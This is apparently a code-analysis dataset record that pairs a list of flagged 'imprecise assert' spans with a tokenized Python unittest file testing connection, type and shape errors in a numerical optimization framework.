[ { "span": "self.assertTrue(msg in str(error))", "start_line": 55, "start_column": 12, "end_line": 55, "end_column": 46 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 362, "start_column": 8, "end_line": 362, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 379, "start_column": 8, "end_line": 379, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 396, "start_column": 8, "end_line": 396, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 412, "start_column": 8, "end_line": 412, "end_column": 49 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 428, "start_column": 8, "end_line": 428, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 429, "start_column": 8, "end_line": 429, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 444, "start_column": 8, "end_line": 444, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 445, "start_column": 8, "end_line": 445, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 461, "start_column": 8, "end_line": 461, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 462, "start_column": 8, "end_line": 462, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 477, "start_column": 8, "end_line": 477, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 478, "start_column": 8, "end_line": 478, "end_column": 97 }, { "span": "self.assertTrue(\"'B.x' src_indices contains a negative index (-1).\" in str(err))", "start_line": 524, "start_column": 12, "end_line": 524, "end_column": 92 }, { "span": "self.assertTrue(\"'B.x' src_indices contains an index (5) that exceeds the bounds \"\n \"of source variable 'A.y' of size 5.\" in str(err))", "start_line": 547, "start_column": 12, "end_line": 548, "end_column": 79 }, { "span": "self.assertTrue(expected in str(cm.exception))", "start_line": 726, "start_column": 8, "end_line": 726, "end_column": 54 }, { "span": "self.assertTrue(msg in prob._setup_errors[0])", "start_line": 817, "start_column": 8, "end_line": 817, "end_column": 53 }, { "span": "self.assertTrue(msg in prob._setup_errors[0])", "start_line": 828, "start_column": 8, "end_line": 828, "end_column": 53 }, { "span": "self.assertTrue('[root] NL: NEWTON 0 | ' in printed)", "start_line": 865, "start_column": 8, "end_line": 865, "end_column": 62 }, { "span": "self.assertTrue(' [root.sub] LN: GMRES 0 | ' in printed)", "start_line": 866, "start_column": 8, "end_line": 866, "end_column": 68 }, { "span": "self.assertTrue(\"Group 'G1.G2' has the following cycles: [['C1', 'C2', 'C3']]\" in\n stream.getvalue())", "start_line": 976, "start_column": 8, "end_line": 977, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "conflicting", "\\u", "connections_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "verify", " ", "we", " ", "get", " ", "an", " ", "error", " ", "if", " ", "we", " ", "have", " ", "conflicting", " ", "implicit", " ", "and", " ", "explicit", " ", "connections_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "promo", "ting", " ", "G1", ".", "x", " ", "will", " ", "create", " ", "an", " ", "implicit", " ", "connecti", "on", " ", "to", " ", "G", "3", ".", "x_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "a", " ", "confl", "ict", " ", "bec", "aus", "e", " ", "G", "3", ".", "x", " ", "(", "aka", " ", "G", "3", ".", "C4", ".", "x", ")", " ", "is", " ", "alr", "ead", "y", " ", "connected_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "G", "3", ".", "C3", ".", "x_", "\\u\\u\\uNL\\u\\u\\u_", "G2_", "=_", "root_", "._", "add_", "(_", "'", "G2", "'_", ",_", "Group_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "#", " ", "BAD", " ", "PRO", "MOT", "E_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G2_", "._", "add_", "(_", "'", "C1", "'_", ",_", "Inde", "p", "Var", "Comp_", "(_", "'", "x", "'_", ",_", "5._", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "G1_", "=_", "G2_", "._", "add_", "(_", "'", "G1", "'_", ",_", "Group_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G1_", "._", "add_", "(_", "'", "C2", "'_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "G", "3_", "=_", "root_", "._", "add_", "(_", "'", "G", "3", "'_", ",_", "Group_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G", "3_", "._", "add_", "(_", "'", "C3", "'_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G", "3_", "._", "add_", "(_", "'", "C4", "'_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "x", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "._", "connect_", "(_", "'", "G2", ".", "G1", ".", "C2", ".", "y", "'_", ",_", "'", "G", "3", ".", "C3", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G", "3_", "._", "connect_", "(_", "'", "C3", ".", "y", "'_", ",_", "'", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "\"", "Target", " ", "'", "G", "3", ".", "C4", ".", "x", "'", " ", "is", " ", "connect", "ed", " ", "to", " ", "multiple", " ", "unknown", "s", ":", " ", "['", "G2", ".", "C1", ".", "x", "',", " ", "'", "G", "3", ".", "C3", ".", "y", "']\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "msg_", "in_", "str_", "(_", "error_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Error", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "check", "\\u", "connections_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "A_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "state_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "2_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "2_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "B_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "3_", ",_", ")_", ")_", ",_", "shape_", "=_", "(_", "3_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "C_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "C_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "state_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "2_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "D_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "D_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "y", "'_", ",_", "np_", "._", "zeros_", "(_", "(_", "2_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "E_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "E_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'", "y", "'_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Type", " ", "mism", "atch", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "type", "\\u", "err_", "=_", "\"", "Type", " ", "<", "type", " ", "'%", "s", "'>", " ", "of", " ", "source", " ", "%", "s", "\"_", "\"", " ", "must", " ", "be", " ", "the", " ", "same", " ", "as", " ", "\"_", "\"", "type", " ", "<", "type", " ", "'%", "s", "'>", " ", "of", " ", "target", " ", "%", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Type", " ", "mism", "atch", " ", "in", " ", "explicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "E", "'_", ",_", "E_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "'", "A", ".", "y", "'_", ",_", "'", "E", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected_", "=_", "py3", "fix_", "(_", "type", "\\u", "err_", "%_", "(_", "'", "nump", "y", ".", "ndar", "ray", "'_", ",_", "\"'", "A", ".", "y", "'\"_", ",_", "'", "float", "'_", ",_", "\"'", "E", ".", "y", "'\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "cm_", "._", "exception_", ")_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Type", " ", "mism", "atch", " ", "in", " ", "implicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "E", "'_", ",_", "E_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected_", "=_", "py3", "fix_", "(_", "type", "\\u", "err_", "%_", "(_", "'", "nump", "y", ".", "ndar", "ray", "'_", ",_", "\"'", "A", ".", "y", "'", " ", "(", "y", ")\"_", ",_", "'", "float", "'_", ",_", "\"'", "E", ".", "y", "'", " ", "(", "y", ")\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "cm_", "._", "exception_", ")_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Shape", " ", "mism", "atch", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "shape", "\\u", "err_", "=_", "\"", "Shape", " ", "%", "s", " ", "of", " ", "source", " ", "%", "s", "\"_", "\"", " ", "must", " ", "be", " ", "the", " ", "same", " ", "as", " ", "\"_", "\"", "shape", " ", "%", "s", " ", "of", " ", "target", " ", "%", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Shape", " ", "mism", "atch", " ", "in", " ", "explicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "B", "'_", ",_", "B_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "'", "A", ".", "y", "'_", ",_", "'", "B", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "str_", "(_", "cm_", "._", "exception_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "2", "L", ",'_", ",_", "'(", "2", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "3", "L", ",'_", ",_", "'(", "3", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "shape", "\\u", "err_", "%_", "(_", "'(", "2", ",)", "'_", ",_", "\"'", "A", ".", "y", "'\"_", ",_", "'(", "3", ",)", "'_", ",_", "\"'", "B", ".", "y", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "expected_", "in_", "raise", "d\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Shape", " ", "mism", "atch", " ", "in", " ", "implicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "B", "'_", ",_", "B_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "str_", "(_", "cm_", "._", "exception_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "2", "L", ",'_", ",_", "'(", "2", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "3", "L", ",'_", ",_", "'(", "3", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "shape", "\\u", "err_", "%_", "(_", "'(", "2", ",)", "'_", ",_", "\"'", "A", ".", "y", "'", " ", "(", "y", ")\"_", ",_", "'(", "3", ",)", "'_", ",_", "\"'", "B", ".", "y", "'", " ", "(", "y", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "expected_", "in_", "raise", "d\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Shape", " ", "mism", "atch", " ", "in", " ", "explicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "B", "'_", ",_", "B_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "C", "'_", ",_", "C_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "'", "C", ".", "y", "'_", ",_", "'", "B", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "str_", "(_", "cm_", "._", "exception_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "2", "L", ",'_", ",_", "'(", "2", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "3", "L", ",'_", ",_", "'(", "3", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "shape", "\\u", "err_", "%_", "(_", "'(", "2", ",)", "'_", ",_", "\"'", "C", ".", "y", "'\"_", ",_", "'(", "3", ",)", "'_", ",_", "\"'", "B", ".", "y", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "expected_", "in_", "raise", "d\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Shape", " ", "mism", "atch", " ", "in", " ", "implicit", " ", "connection_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "B", "'_", ",_", "B_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "C", "'_", ",_", "C_", "(_", ")_", ",_", "promote", "s_", "=_", "[_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Exception_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "str_", "(_", "cm_", "._", "exception_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "2", "L", ",'_", ",_", "'(", "2", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "d\\u", "error_", "=_", "raise", "d\\u", "error_", "._", "replace_", "(_", "'(", "3", "L", ",'_", ",_", "'(", "3", ",'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "shape", "\\u", "err_", "%_", "(_", "'(", "2", ",)", "'_", ",_", "\"'", "C", ".", "y", "'", " ", "(", "y", ")\"_", ",_", "'(", "3", ",)", "'_", ",_", "\"'", "B", ".", "y", "'", " ", "(", "y", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "expected_", "in_", "raise", "d\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exp", "licit", "_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "=_", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "ln", "\\u", "solver_", "=_", "Sci", "py", "GM", "RES", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "A", "'_", ",_", "A_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "add_", "(_", "'", "D", "'_", ",_", "D_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "root_", "._", "connect_", "(_", "'", "A", ".", "y", "'_", ",_", "'", "D", ".", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checks_", "=_", "prob_", "._", "setup_", "(_", "out", "\\u", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "no", "\\u", "unknown", "\\u", "comps", "'_", "]_", ",_", "[_", "'", "D", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "checks_", "[_", "'", "recorde", "rs", "'_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "stream_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "The", " ", "follow", "ing", " ", "component", "s", " ", "have", " ", "no", " ", "unknown", "s", ":\\\\", "n", "D", "\\\\", "n", "\"_", "in_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "No", " ", "recorde", "rs", " ", "have", " ", "bee", "n", " ", "specified", ",", " ", "so", " ", "no", " ", "data", " ", "will", " ", "be", " ", "saved", ".\"_", "in_", "content_", 